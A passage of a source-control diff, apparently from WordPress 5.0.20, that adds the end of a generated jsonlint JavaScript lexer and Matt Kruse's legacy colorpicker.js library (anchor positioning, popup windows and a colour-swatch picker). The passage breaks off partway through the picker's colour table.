+        this.conditionStack = ['INITIAL'];
+        this.yylloc = {first_line:1,first_column:0,last_line:1,last_column:0};
+        return this;
+    },
+input:function () {
+        var ch = this._input[0];
+        this.yytext+=ch;
+        this.yyleng++;
+        this.match+=ch;
+        this.matched+=ch;
+        var lines = ch.match(/\n/);
+        if (lines) this.yylineno++;
+        this._input = this._input.slice(1);
+        return ch;
+    },
+unput:function (ch) {
+        this._input = ch + this._input;
+        return this;
+    },
+more:function () {
+        this._more = true;
+        return this;
+    },
+less:function (n) {
+        this._input = this.match.slice(n) + this._input;
+    },
+pastInput:function () {
+        var past = this.matched.substr(0, this.matched.length - this.match.length);
+        return (past.length > 20 ? '...':'') + past.substr(-20).replace(/\n/g, "");
+    },
+upcomingInput:function () {
+        var next = this.match;
+        if (next.length < 20) {
+            next += this._input.substr(0, 20-next.length);
+        }
+        return (next.substr(0,20)+(next.length > 20 ? '...':'')).replace(/\n/g, "");
+    },
+showPosition:function () {
+        var pre = this.pastInput();
+        var c = new Array(pre.length + 1).join("-");
+        return pre + this.upcomingInput() + "\n" + c+"^";
+    },
+next:function () {
+        if (this.done) {
+            return this.EOF;
+        }
+        if (!this._input) this.done = true;
+
+        var token,
+            match,
+            tempMatch,
+            index,
+            col,
+            lines;
+        if (!this._more) {
+            this.yytext = '';
+            this.match = '';
+        }
+        var rules = this._currentRules();
+        for (var i=0;i < rules.length; i++) {
+            tempMatch = this._input.match(this.rules[rules[i]]);
+            if (tempMatch && (!match || tempMatch[0].length > match[0].length)) {
+                match = tempMatch;
+                index = i;
+                if (!this.options.flex) break;
+            }
+        }
+        if (match) {
+            lines = match[0].match(/\n.*/g);
+            if (lines) this.yylineno += lines.length;
+            this.yylloc = {first_line: this.yylloc.last_line,
+                           last_line: this.yylineno+1,
+                           first_column: this.yylloc.last_column,
+                           last_column: lines ? lines[lines.length-1].length-1 : this.yylloc.last_column + match[0].length}
+            this.yytext += match[0];
+            this.match += match[0];
+            this.yyleng = this.yytext.length;
+            this._more = false;
+            this._input = this._input.slice(match[0].length);
+            this.matched += match[0];
+            token = this.performAction.call(this, this.yy, this, rules[index],this.conditionStack[this.conditionStack.length-1]);
+            if (this.done && this._input) this.done = false;
+            if (token) return token;
+            else return;
+        }
+        if (this._input === "") {
+            return this.EOF;
+        } else {
+            this.parseError('Lexical error on line '+(this.yylineno+1)+'. Unrecognized text.\n'+this.showPosition(), 
+                    {text: "", token: null, line: this.yylineno});
+        }
+    },
+lex:function lex() {
+        var r = this.next();
+        if (typeof r !== 'undefined') {
+            return r;
+        } else {
+            return this.lex();
+        }
+    },
+begin:function begin(condition) {
+        this.conditionStack.push(condition);
+    },
+popState:function popState() {
+        return this.conditionStack.pop();
+    },
+_currentRules:function _currentRules() {
+        return this.conditions[this.conditionStack[this.conditionStack.length-1]].rules;
+    },
+topState:function () {
+        return this.conditionStack[this.conditionStack.length-2];
+    },
+pushState:function begin(condition) {
+        this.begin(condition);
+    }});
+lexer.options = {};
+lexer.performAction = function anonymous(yy,yy_,$avoiding_name_collisions,YY_START) {
+
+var YYSTATE=YY_START
+switch($avoiding_name_collisions) {
+case 0:/* skip whitespace */
+break;
+case 1:return 6
+break;
+case 2:yy_.yytext = yy_.yytext.substr(1,yy_.yyleng-2); return 4
+break;
+case 3:return 17
+break;
+case 4:return 18
+break;
+case 5:return 23
+break;
+case 6:return 24
+break;
+case 7:return 22
+break;
+case 8:return 21
+break;
+case 9:return 10
+break;
+case 10:return 11
+break;
+case 11:return 8
+break;
+case 12:return 14
+break;
+case 13:return 'INVALID'
+break;
+}
+};
+lexer.rules = [/^(?:\s+)/,/^(?:(-?([0-9]|[1-9][0-9]+))(\.[0-9]+)?([eE][-+]?[0-9]+)?\b)/,/^(?:"(?:\\[\\"bfnrt/]|\\u[a-fA-F0-9]{4}|[^\\\0-\x09\x0a-\x1f"])*")/,/^(?:\{)/,/^(?:\})/,/^(?:\[)/,/^(?:\])/,/^(?:,)/,/^(?::)/,/^(?:true\b)/,/^(?:false\b)/,/^(?:null\b)/,/^(?:$)/,/^(?:.)/];
+lexer.conditions = {"INITIAL":{"rules":[0,1,2,3,4,5,6,7,8,9,10,11,12,13],"inclusive":true}};
+
+
+;
+return lexer;})()
+parser.lexer = lexer;
+return parser;
+})();
+if (typeof require !== 'undefined' && typeof exports !== 'undefined') {
+exports.parser = jsonlint;
+exports.parse = function () { return jsonlint.parse.apply(jsonlint, arguments); }
+exports.main = function commonjsMain(args) {
+    if (!args[1])
+        throw new Error('Usage: '+args[0]+' FILE');
+    if (typeof process !== 'undefined') {
+        var source = require('fs').readFileSync(require('path').join(process.cwd(), args[1]), "utf8");
+    } else {
+        var cwd = require("file").path(require("file").cwd());
+        var source = cwd.join(args[1]).read({charset: "utf-8"});
+    }
+    return exports.parser.parse(source);
+}
+if (typeof module !== 'undefined' && require.main === module) {
+  exports.main(typeof process !== 'undefined' ? process.argv.slice(1) : require("system").args);
+}
+}
Index: /tags/5.0.20/src/wp-includes/js/colorpicker.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/colorpicker.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/colorpicker.js	(revision 56912)
@@ -0,0 +1,707 @@
+// ===================================================================
+// Author: Matt Kruse <matt@mattkruse.com>
+// WWW: http://www.mattkruse.com/
+//
+// NOTICE: You may use this code for any purpose, commercial or
+// private, without any further permission from the author. You may
+// remove this notice from your final code if you wish, however it is
+// appreciated by the author if at least my web site address is kept.
+//
+// You may *NOT* re-distribute this code in any way except through its
+// use. That means, you can include it in your product, or your web
+// site, or any other form where the code is actually being used. You
+// may not put the plain javascript up on your site for download or
+// include it in your javascript libraries for download.
+// If you wish to share this code with others, please just point them
+// to the URL instead.
+// Please DO NOT link directly to my .js files from your site. Copy
+// the files to your server and use them there. Thank you.
+// ===================================================================
+
+
+/* SOURCE FILE: AnchorPosition.js */
+
+/*
+AnchorPosition.js
+Author: Matt Kruse
+Last modified: 10/11/02
+
+DESCRIPTION: These functions find the position of an <A> tag in a document,
+so other elements can be positioned relative to it.
+
+COMPATABILITY: Netscape 4.x,6.x,Mozilla, IE 5.x,6.x on Windows. Some small
+positioning errors - usually with Window positioning - occur on the
+Macintosh platform.
+
+FUNCTIONS:
+getAnchorPosition(anchorname)
+  Returns an Object() having .x and .y properties of the pixel coordinates
+  of the upper-left corner of the anchor. Position is relative to the PAGE.
+
+getAnchorWindowPosition(anchorname)
+  Returns an Object() having .x and .y properties of the pixel coordinates
+  of the upper-left corner of the anchor, relative to the WHOLE SCREEN.
+
+NOTES:
+
+1) For popping up separate browser windows, use getAnchorWindowPosition.
+   Otherwise, use getAnchorPosition
+
+2) Your anchor tag MUST contain both NAME and ID attributes which are the
+   same. For example:
+   <A NAME="test" ID="test"> </A>
+
+3) There must be at least a space between <A> </A> for IE5.5 to see the
+   anchor tag correctly. Do not do <A></A> with no space.
+*/
+
+// getAnchorPosition(anchorname)
+//   This function returns an object having .x and .y properties which are the coordinates
+//   of the named anchor, relative to the page.
+function getAnchorPosition(anchorname) {
+	// This function will return an Object with x and y properties
+	var useWindow=false;
+	var coordinates=new Object();
+	var x=0,y=0;
+	// Browser capability sniffing
+	var use_gebi=false, use_css=false, use_layers=false;
+	if (document.getElementById) { use_gebi=true; }
+	else if (document.all) { use_css=true; }
+	else if (document.layers) { use_layers=true; }
+	// Logic to find position
+ 	if (use_gebi && document.all) {
+		x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]);
+		y=AnchorPosition_getPageOffsetTop(document.all[anchorname]);
+		}
+	else if (use_gebi) {
+		var o=document.getElementById(anchorname);
+		x=AnchorPosition_getPageOffsetLeft(o);
+		y=AnchorPosition_getPageOffsetTop(o);
+		}
+ 	else if (use_css) {
+		x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]);
+		y=AnchorPosition_getPageOffsetTop(document.all[anchorname]);
+		}
+	else if (use_layers) {
+		var found=0;
+		for (var i=0; i<document.anchors.length; i++) {
+			if (document.anchors[i].name==anchorname) { found=1; break; }
+			}
+		if (found==0) {
+			coordinates.x=0; coordinates.y=0; return coordinates;
+			}
+		x=document.anchors[i].x;
+		y=document.anchors[i].y;
+		}
+	else {
+		coordinates.x=0; coordinates.y=0; return coordinates;
+		}
+	coordinates.x=x;
+	coordinates.y=y;
+	return coordinates;
+	}
+
+// getAnchorWindowPosition(anchorname)
+//   This function returns an object having .x and .y properties which are the coordinates
+//   of the named anchor, relative to the window
+function getAnchorWindowPosition(anchorname) {
+	var coordinates=getAnchorPosition(anchorname);
+	var x=0;
+	var y=0;
+	if (document.getElementById) {
+		if (isNaN(window.screenX)) {
+			x=coordinates.x-document.body.scrollLeft+window.screenLeft;
+			y=coordinates.y-document.body.scrollTop+window.screenTop;
+			}
+		else {
+			x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;
+			y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset;
+			}
+		}
+	else if (document.all) {
+		x=coordinates.x-document.body.scrollLeft+window.screenLeft;
+		y=coordinates.y-document.body.scrollTop+window.screenTop;
+		}
+	else if (document.layers) {
+		x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;
+		y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset;
+		}
+	coordinates.x=x;
+	coordinates.y=y;
+	return coordinates;
+	}
+
+// Functions for IE to get position of an object
+function AnchorPosition_getPageOffsetLeft (el) {
+	var ol=el.offsetLeft;
+	while ((el=el.offsetParent) != null) { ol += el.offsetLeft; }
+	return ol;
+	}
+function AnchorPosition_getWindowOffsetLeft (el) {
+	return AnchorPosition_getPageOffsetLeft(el)-document.body.scrollLeft;
+	}
+function AnchorPosition_getPageOffsetTop (el) {
+	var ot=el.offsetTop;
+	while((el=el.offsetParent) != null) { ot += el.offsetTop; }
+	return ot;
+	}
+function AnchorPosition_getWindowOffsetTop (el) {
+	return AnchorPosition_getPageOffsetTop(el)-document.body.scrollTop;
+	}
+
+/* SOURCE FILE: PopupWindow.js */
+
+/*
+PopupWindow.js
+Author: Matt Kruse
+Last modified: 02/16/04
+
+DESCRIPTION: This object allows you to easily and quickly popup a window
+in a certain place. The window can either be a DIV or a separate browser
+window.
+
+COMPATABILITY: Works with Netscape 4.x, 6.x, IE 5.x on Windows. Some small
+positioning errors - usually with Window positioning - occur on the
+Macintosh platform. Due to bugs in Netscape 4.x, populating the popup
+window with <STYLE> tags may cause errors.
+
+USAGE:
+// Create an object for a WINDOW popup
+var win = new PopupWindow();
+
+// Create an object for a DIV window using the DIV named 'mydiv'
+var win = new PopupWindow('mydiv');
+
+// Set the window to automatically hide itself when the user clicks
+// anywhere else on the page except the popup
+win.autoHide();
+
+// Show the window relative to the anchor name passed in
+win.showPopup(anchorname);
+
+// Hide the popup
+win.hidePopup();
+
+// Set the size of the popup window (only applies to WINDOW popups
+win.setSize(width,height);
+
+// Populate the contents of the popup window that will be shown. If you
+// change the contents while it is displayed, you will need to refresh()
+win.populate(string);
+
+// set the URL of the window, rather than populating its contents
+// manually
+win.setUrl("http://www.site.com/");
+
+// Refresh the contents of the popup
+win.refresh();
+
+// Specify how many pixels to the right of the anchor the popup will appear
+win.offsetX = 50;
+
+// Specify how many pixels below the anchor the popup will appear
+win.offsetY = 100;
+
+NOTES:
+1) Requires the functions in AnchorPosition.js
+
+2) Your anchor tag MUST contain both NAME and ID attributes which are the
+   same. For example:
+   <A NAME="test" ID="test"> </A>
+
+3) There must be at least a space between <A> </A> for IE5.5 to see the
+   anchor tag correctly. Do not do <A></A> with no space.
+
+4) When a PopupWindow object is created, a handler for 'onmouseup' is
+   attached to any event handler you may have already defined. Do NOT define
+   an event handler for 'onmouseup' after you define a PopupWindow object or
+   the autoHide() will not work correctly.
+*/
+
+// Set the position of the popup window based on the anchor
+function PopupWindow_getXYPosition(anchorname) {
+	var coordinates;
+	if (this.type == "WINDOW") {
+		coordinates = getAnchorWindowPosition(anchorname);
+		}
+	else {
+		coordinates = getAnchorPosition(anchorname);
+		}
+	this.x = coordinates.x;
+	this.y = coordinates.y;
+	}
+// Set width/height of DIV/popup window
+function PopupWindow_setSize(width,height) {
+	this.width = width;
+	this.height = height;
+	}
+// Fill the window with contents
+function PopupWindow_populate(contents) {
+	this.contents = contents;
+	this.populated = false;
+	}
+// Set the URL to go to
+function PopupWindow_setUrl(url) {
+	this.url = url;
+	}
+// Set the window popup properties
+function PopupWindow_setWindowProperties(props) {
+	this.windowProperties = props;
+	}
+// Refresh the displayed contents of the popup
+function PopupWindow_refresh() {
+	if (this.divName != null) {
+		// refresh the DIV object
+		if (this.use_gebi) {
+			document.getElementById(this.divName).innerHTML = this.contents;
+			}
+		else if (this.use_css) {
+			document.all[this.divName].innerHTML = this.contents;
+			}
+		else if (this.use_layers) {
+			var d = document.layers[this.divName];
+			d.document.open();
+			d.document.writeln(this.contents);
+			d.document.close();
+			}
+		}
+	else {
+		if (this.popupWindow != null && !this.popupWindow.closed) {
+			if (this.url!="") {
+				this.popupWindow.location.href=this.url;
+				}
+			else {
+				this.popupWindow.document.open();
+				this.popupWindow.document.writeln(this.contents);
+				this.popupWindow.document.close();
+			}
+			this.popupWindow.focus();
+			}
+		}
+	}
+// Position and show the popup, relative to an anchor object
+function PopupWindow_showPopup(anchorname) {
+	this.getXYPosition(anchorname);
+	this.x += this.offsetX;
+	this.y += this.offsetY;
+	if (!this.populated && (this.contents != "")) {
+		this.populated = true;
+		this.refresh();
+		}
+	if (this.divName != null) {
+		// Show the DIV object
+		if (this.use_gebi) {
+			document.getElementById(this.divName).style.left = this.x + "px";
+			document.getElementById(this.divName).style.top = this.y;
+			document.getElementById(this.divName).style.visibility = "visible";
+			}
+		else if (this.use_css) {
+			document.all[this.divName].style.left = this.x;
+			document.all[this.divName].style.top = this.y;
+			document.all[this.divName].style.visibility = "visible";
+			}
+		else if (this.use_layers) {
+			document.layers[this.divName].left = this.x;
+			document.layers[this.divName].top = this.y;
+			document.layers[this.divName].visibility = "visible";
+			}
+		}
+	else {
+		if (this.popupWindow == null || this.popupWindow.closed) {
+			// If the popup window will go off-screen, move it so it doesn't
+			if (this.x<0) { this.x=0; }
+			if (this.y<0) { this.y=0; }
+			if (screen && screen.availHeight) {
+				if ((this.y + this.height) > screen.availHeight) {
+					this.y = screen.availHeight - this.height;
+					}
+				}
+			if (screen && screen.availWidth) {
+				if ((this.x + this.width) > screen.availWidth) {
+					this.x = screen.availWidth - this.width;
+					}
+				}
+			var avoidAboutBlank = window.opera || ( document.layers && !navigator.mimeTypes['*'] ) || navigator.vendor == 'KDE' || ( document.childNodes && !document.all && !navigator.taintEnabled );
+			this.popupWindow = window.open(avoidAboutBlank?"":"about:blank","window_"+anchorname,this.windowProperties+",width="+this.width+",height="+this.height+",screenX="+this.x+",left="+this.x+",screenY="+this.y+",top="+this.y+"");
+			}
+		this.refresh();
+		}
+	}
+// Hide the popup
+function PopupWindow_hidePopup() {
+	if (this.divName != null) {
+		if (this.use_gebi) {
+			document.getElementById(this.divName).style.visibility = "hidden";
+			}
+		else if (this.use_css) {
+			document.all[this.divName].style.visibility = "hidden";
+			}
+		else if (this.use_layers) {
+			document.layers[this.divName].visibility = "hidden";
+			}
+		}
+	else {
+		if (this.popupWindow && !this.popupWindow.closed) {
+			this.popupWindow.close();
+			this.popupWindow = null;
+			}
+		}
+	}
+// Pass an event and return whether or not it was the popup DIV that was clicked
+function PopupWindow_isClicked(e) {
+	if (this.divName != null) {
+		if (this.use_layers) {
+			var clickX = e.pageX;
+			var clickY = e.pageY;
+			var t = document.layers[this.divName];
+			if ((clickX > t.left) && (clickX < t.left+t.clip.width) && (clickY > t.top) && (clickY < t.top+t.clip.height)) {
+				return true;
+				}
+			else { return false; }
+			}
+		else if (document.all) { // Need to hard-code this to trap IE for error-handling
+			var t = window.event.srcElement;
+			while (t.parentElement != null) {
+				if (t.id==this.divName) {
+					return true;
+					}
+				t = t.parentElement;
+				}
+			return false;
+			}
+		else if (this.use_gebi && e) {
+			var t = e.originalTarget;
+			while (t.parentNode != null) {
+				if (t.id==this.divName) {
+					return true;
+					}
+				t = t.parentNode;
+				}
+			return false;
+			}
+		return false;
+		}
+	return false;
+	}
+
+// Check an onMouseDown event to see if we should hide
+function PopupWindow_hideIfNotClicked(e) {
+	if (this.autoHideEnabled && !this.isClicked(e)) {
+		this.hidePopup();
+		}
+	}
+// Call this to make the DIV disable automatically when mouse is clicked outside it
+function PopupWindow_autoHide() {
+	this.autoHideEnabled = true;
+	}
+// This global function checks all PopupWindow objects onmouseup to see if they should be hidden
+function PopupWindow_hidePopupWindows(e) {
+	for (var i=0; i<popupWindowObjects.length; i++) {
+		if (popupWindowObjects[i] != null) {
+			var p = popupWindowObjects[i];
+			p.hideIfNotClicked(e);
+			}
+		}
+	}
+// Run this immediately to attach the event listener
+function PopupWindow_attachListener() {
+	if (document.layers) {
+		document.captureEvents(Event.MOUSEUP);
+		}
+	window.popupWindowOldEventListener = document.onmouseup;
+	if (window.popupWindowOldEventListener != null) {
+		document.onmouseup = new Function("window.popupWindowOldEventListener(); PopupWindow_hidePopupWindows();");
+		}
+	else {
+		document.onmouseup = PopupWindow_hidePopupWindows;
+		}
+	}
+// CONSTRUCTOR for the PopupWindow object
+// Pass it a DIV name to use a DHTML popup, otherwise will default to window popup
+function PopupWindow() {
+	if (!window.popupWindowIndex) { window.popupWindowIndex = 0; }
+	if (!window.popupWindowObjects) { window.popupWindowObjects = new Array(); }
+	if (!window.listenerAttached) {
+		window.listenerAttached = true;
+		PopupWindow_attachListener();
+		}
+	this.index = popupWindowIndex++;
+	popupWindowObjects[this.index] = this;
+	this.divName = null;
+	this.popupWindow = null;
+	this.width=0;
+	this.height=0;
+	this.populated = false;
+	this.visible = false;
+	this.autoHideEnabled = false;
+
+	this.contents = "";
+	this.url="";
+	this.windowProperties="toolbar=no,location=no,status=no,menubar=no,scrollbars=auto,resizable,alwaysRaised,dependent,titlebar=no";
+	if (arguments.length>0) {
+		this.type="DIV";
+		this.divName = arguments[0];
+		}
+	else {
+		this.type="WINDOW";
+		}
+	this.use_gebi = false;
+	this.use_css = false;
+	this.use_layers = false;
+	if (document.getElementById) { this.use_gebi = true; }
+	else if (document.all) { this.use_css = true; }
+	else if (document.layers) { this.use_layers = true; }
+	else { this.type = "WINDOW"; }
+	this.offsetX = 0;
+	this.offsetY = 0;
+	// Method mappings
+	this.getXYPosition = PopupWindow_getXYPosition;
+	this.populate = PopupWindow_populate;
+	this.setUrl = PopupWindow_setUrl;
+	this.setWindowProperties = PopupWindow_setWindowProperties;
+	this.refresh = PopupWindow_refresh;
+	this.showPopup = PopupWindow_showPopup;
+	this.hidePopup = PopupWindow_hidePopup;
+	this.setSize = PopupWindow_setSize;
+	this.isClicked = PopupWindow_isClicked;
+	this.autoHide = PopupWindow_autoHide;
+	this.hideIfNotClicked = PopupWindow_hideIfNotClicked;
+	}
+
+/* SOURCE FILE: ColorPicker2.js */
+
+/*
+Last modified: 02/24/2003
+
+DESCRIPTION: This widget is used to select a color, in hexadecimal #RRGGBB
+form. It uses a color "swatch" to display the standard 216-color web-safe
+palette. The user can then click on a color to select it.
+
+COMPATABILITY: See notes in AnchorPosition.js and PopupWindow.js.
+Only the latest DHTML-capable browsers will show the color and hex values
+at the bottom as your mouse goes over them.
+
+USAGE:
+// Create a new ColorPicker object using DHTML popup
+var cp = new ColorPicker();
+
+// Create a new ColorPicker object using Window Popup
+var cp = new ColorPicker('window');
+
+// Add a link in your page to trigger the popup. For example:
+<A HREF="#" onClick="cp.show('pick');return false;" NAME="pick" ID="pick">Pick</A>
+
+// Or use the built-in "select" function to do the dirty work for you:
+<A HREF="#" onClick="cp.select(document.forms[0].color,'pick');return false;" NAME="pick" ID="pick">Pick</A>
+
+// If using DHTML popup, write out the required DIV tag near the bottom
+// of your page.
+<SCRIPT LANGUAGE="JavaScript">cp.writeDiv()</SCRIPT>
+
+// Write the 'pickColor' function that will be called when the user clicks
+// a color and do something with the value. This is only required if you
+// want to do something other than simply populate a form field, which is
+// what the 'select' function will give you.
+function pickColor(color) {
+	field.value = color;
+	}
+
+NOTES:
+1) Requires the functions in AnchorPosition.js and PopupWindow.js
+
+2) Your anchor tag MUST contain both NAME and ID attributes which are the
+   same. For example:
+   <A NAME="test" ID="test"> </A>
+
+3) There must be at least a space between <A> </A> for IE5.5 to see the
+   anchor tag correctly. Do not do <A></A> with no space.
+
+4) When a ColorPicker object is created, a handler for 'onmouseup' is
+   attached to any event handler you may have already defined. Do NOT define
+   an event handler for 'onmouseup' after you define a ColorPicker object or
+   the color picker will not hide itself correctly.
+*/
+ColorPicker_targetInput = null;
+function ColorPicker_writeDiv() {
+	document.writeln("<DIV ID=\"colorPickerDiv\" STYLE=\"position:absolute;visibility:hidden;\"> </DIV>");
+	}
+
+function ColorPicker_show(anchorname) {
+	this.showPopup(anchorname);
+	}
+
+function ColorPicker_pickColor(color,obj) {
+	obj.hidePopup();
+	pickColor(color);
+	}
+
+// A Default "pickColor" function to accept the color passed back from popup.
+// User can over-ride this with their own function.
+function pickColor(color) {
+	if (ColorPicker_targetInput==null) {
+		alert("Target Input is null, which means you either didn't use the 'select' function or you have no defined your own 'pickColor' function to handle the picked color!");
+		return;
+		}
+	ColorPicker_targetInput.value = color;
+	}
+
+// This function is the easiest way to popup the window, select a color, and
+// have the value populate a form field, which is what most people want to do.
+function ColorPicker_select(inputobj,linkname) {
+	if (inputobj.type!="text" && inputobj.type!="hidden" && inputobj.type!="textarea") {
+		alert("colorpicker.select: Input object passed is not a valid form input object");
+		window.ColorPicker_targetInput=null;
+		return;
+		}
+	window.ColorPicker_targetInput = inputobj;
+	this.show(linkname);
+	}
+
+// This function runs when you move your mouse over a color block, if you have a newer browser
+function ColorPicker_highlightColor(c) {
+	var thedoc = (arguments.length>1)?arguments[1]:window.document;
+	var d = thedoc.getElementById("colorPickerSelectedColor");
+	d.style.backgroundColor = c;
+	d = thedoc.getElementById("colorPickerSelectedColorValue");
+	d.innerHTML = c;
+	}
+
+function ColorPicker() {
+	var windowMode = false;
+	// Create a new PopupWindow object
+	if (arguments.length==0) {
+		var divname = "colorPickerDiv";
+		}
+	else if (arguments[0] == "window") {
+		var divname = '';
+		windowMode = true;
+		}
+	else {
+		var divname = arguments[0];
+		}
+
+	if (divname != "") {
+		var cp = new PopupWindow(divname);
+		}
+	else {
+		var cp = new PopupWindow();
+		cp.setSize(225,250);
+		}
+
+	// Object variables
+	cp.currentValue = "#FFFFFF";
+
+	// Method Mappings
+	cp.writeDiv = ColorPicker_writeDiv;
+	cp.highlightColor = ColorPicker_highlightColor;
+	cp.show = ColorPicker_show;
+	cp.select = ColorPicker_select;
+
+	// Code to populate color picker window
+	var colors = new Array(	"#4180B6","#69AEE7","#000000","#000033","#000066","#000099","#0000CC","#0000FF","#330000","#330033","#330066","#330099",
+							"#3300CC","#3300FF","#660000","#660033","#660066","#660099","#6600CC","#6600FF","#990000","#990033","#990066","#990099",
+							"#9900CC","#9900FF","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#FF0000","#FF0033","#FF0066","#FF0099",
+							"#FF00CC","#FF00FF","#7FFFFF","#7FFFFF","#7FF7F7","#7FEFEF","#7FE7E7","#7FDFDF","#7FD7D7","#7FCFCF","#7FC7C7","#7FBFBF",
+							"#7FB7B7","#7FAFAF","#7FA7A7","#7F9F9F","#7F9797","#7F8F8F","#7F8787","#7F7F7F","#7F7777","#7F6F6F","#7F6767","#7F5F5F",
+							"#7F5757","#7F4F4F","#7F4747","#7F3F3F","#7F3737","#7F2F2F","#7F2727","#7F1F1F","#7F1717","#7F0F0F","#7F0707","#7F0000",
+
+							"#4180B6","#69AEE7","#003300","#003333","#003366","#003399","#0033CC","#0033FF","#333300","#333333","#333366","#333399",
+							"#3333CC","#3333FF","#663300","#663333","#663366","#663399","#6633CC","#6633FF","#993300","#993333","#993366","#993399",
+							"#9933CC","#9933FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#FF3300","#FF3333","#FF3366","#FF3399",
+							"#FF33CC","#FF33FF","#FF7FFF","#FF7FFF","#F77FF7","#EF7FEF","#E77FE7","#DF7FDF","#D77FD7","#CF7FCF","#C77FC7","#BF7FBF",
+							"#B77FB7","#AF7FAF","#A77FA7","#9F7F9F","#977F97","#8F7F8F","#877F87","#7F7F7F","#777F77","#6F7F6F","#677F67","#5F7F5F",
+							"#577F57","#4F7F4F","#477F47","#3F7F3F","#377F37","#2F7F2F","#277F27","#1F7F1F","#177F17","#0F7F0F","#077F07","#007F00",
+
+							"#4180B6","#69AEE7","#006600","#006633","#006666","#006699","#0066CC","#0066FF","#336600","#336633","#336666","#336699",
+							"#3366CC","#3366FF","#666600","#666633","#666666","#666699","#6666CC","#6666FF","#996600","#996633","#996666","#996699",
+							"#9966CC","#9966FF","#CC6600","#CC6633","#CC6666","#CC6699","#CC66CC","#CC66FF","#FF6600","#FF6633","#FF6666","#FF6699",
+							"#FF66CC","#FF66FF","#FFFF7F","#FFFF7F","#F7F77F","#EFEF7F","#E7E77F","#DFDF7F","#D7D77F","#CFCF7F","#C7C77F","#BFBF7F",
+							"#B7B77F","#AFAF7F","#A7A77F","#9F9F7F","#97977F","#8F8F7F","#87877F","#7F7F7F","#77777F","#6F6F7F","#67677F","#5F5F7F",
+							"#57577F","#4F4F7F","#47477F","#3F3F7F","#37377F","#2F2F7F","#27277F","#1F1F7F","#17177F","#0F0F7F","#07077F","#00007F",
+
+							"#4180B6","#69AEE7","#009900","#009933","#009966","#009999","#0099CC","#0099FF","#339900","#339933","#339966","#339999",
+							"#3399CC","#3399FF","#669900","#669933","#669966","#669999","#6699CC","#6699FF","#999900","#999933","#999966","#999999",
+							"#9999CC","#9999FF","#CC9900","#CC9933","#CC9966","#CC9999","#CC99CC","#CC99FF","#FF9900","#FF9933","#FF9966","#FF9999",
+							"#FF99CC","#FF99FF","#3FFFFF","#3FFFFF","#3FF7F7","#3FEFEF","#3FE7E7","#3FDFDF","#3FD7D7","#3FCFCF","#3FC7C7","#3FBFBF",
+							"#3FB7B7","#3FAFAF","#3FA7A7","#3F9F9F","#3F9797","#3F8F8F","#3F8787","#3F7F7F","#3F7777","#3F6F6F","#3F6767","#3F5F5F",
+							"#3F5757","#3F4F4F","#3F4747","#3F3F3F","#3F3737","#3F2F2F","#3F2727","#3F1F1F","#3F1717","#3F0F0F","#3F0707","#3F0000",
+
+							"#4180B6","#69AEE7","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#33CC00","#33CC33","#33CC66","#33CC99",
+							"#33CCCC","#33CCFF","#66CC00","#66CC33","#66CC66","#66CC99","#66CCCC","#66CCFF","#99CC00","#99CC33","#99CC66","#99CC99",
+							"#99CCCC","#99CCFF","#CCCC00","#CCCC33","#CCCC66","#CCCC99","#CCCCCC","#CCCCFF","#FFCC00","#FFCC33","#FFCC66","#FFCC99",
+							"#FFCCCC","#FFCCFF","#FF3FFF","#FF3FFF","#F73FF7","#EF3FEF","#E73FE7","#DF3FDF","#D73FD7","#CF3FCF","#C73FC7","#BF3FBF",
+							"#B73FB7","#AF3FAF","#A73FA7","#9F3F9F","#973F97","#8F3F8F","#873F87","#7F3F7F","#773F77","#6F3F6F","#673F67","#5F3F5F",
+							"#573F57","#4F3F4F","#473F47","#3F3F3F","#373F37","#2F3F2F","#273F27","#1F3F1F","#173F17","#0F3F0F","#073F07","#003F00",
+
+							"#4180B6","#69AEE7","#00FF00","#00FF33","#00FF66","#00FF99","#00FFCC","#00FFFF","#33FF00","#33FF33","#33FF66","#33FF99",
+							"#33FFCC","#33FFFF","#66FF00","#66FF33","#66FF66","#66FF99","#66FFCC","#66FFFF","#99FF00","#99FF33","#99FF66","#99FF99",
+							"#99FFCC","#99FFFF","#CCFF00","#CCFF33","#CCFF66","#CCFF99","#CCFFCC","#CCFFFF","#FFFF00","#FFFF33","#FFFF66","#FFFF99",
+							"#FFFFCC","#FFFFFF","#FFFF3F","#FFFF3F","#F7F73F","#EFEF3F","#E7E73F","#DFDF3F","#D7D73F","#CFCF3F","#C7C73F","#BFBF3F",
+							"#B7B73F","#AFAF3F","#A7A73F","#9F9F3F","#97973F","#8F8F3F","#87873F","#7F7F3F","#77773F","#6F6F3F","#67673F","#5F5F3F",
+							"#57573F","#4F4F3F","#47473F","#3F3F3F","#37373F","#2F2F3F","#27273F","#1F1F3F","#17173F","#0F0F3F","#07073F","#00003F",
+
+							"#4180B6","#69AEE7","#FFFFFF","#FFEEEE","#FFDDDD","#FFCCCC","#FFBBBB","#FFAAAA","#FF9999","#FF8888","#FF7777","#FF6666",
+							"#FF5555","#FF4444","#FF3333","#FF2222","#FF1111","#FF0000","#FF0000","#FF0000","#FF0000","#EE0000","#DD0000","#CC0000",
+							"#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000",
+							"#000000","#000000","#000000","#001111","#002222","#003333","#004444","#005555","#006666","#007777","#008888","#009999",
+							"#00AAAA","#00BBBB","#00CCCC","#00DDDD","#00EEEE","#00FFFF","#00FFFF","#00FFFF","#00FFFF","#11FFFF","#22FFFF","#33FFFF",
+							"#44FFFF","#55FFFF","#66FFFF","#77FFFF","#88FFFF","#99FFFF","#AAFFFF","#BBFFFF","#CCFFFF","#DDFFFF","#EEFFFF","#FFFFFF",
+
+							"#4180B6","#69AEE7","#FFFFFF","#EEFFEE","#DDFFDD","#CCFFCC","#BBFFBB","#AAFFAA","#99FF99","#88FF88","#77FF77","#66FF66",
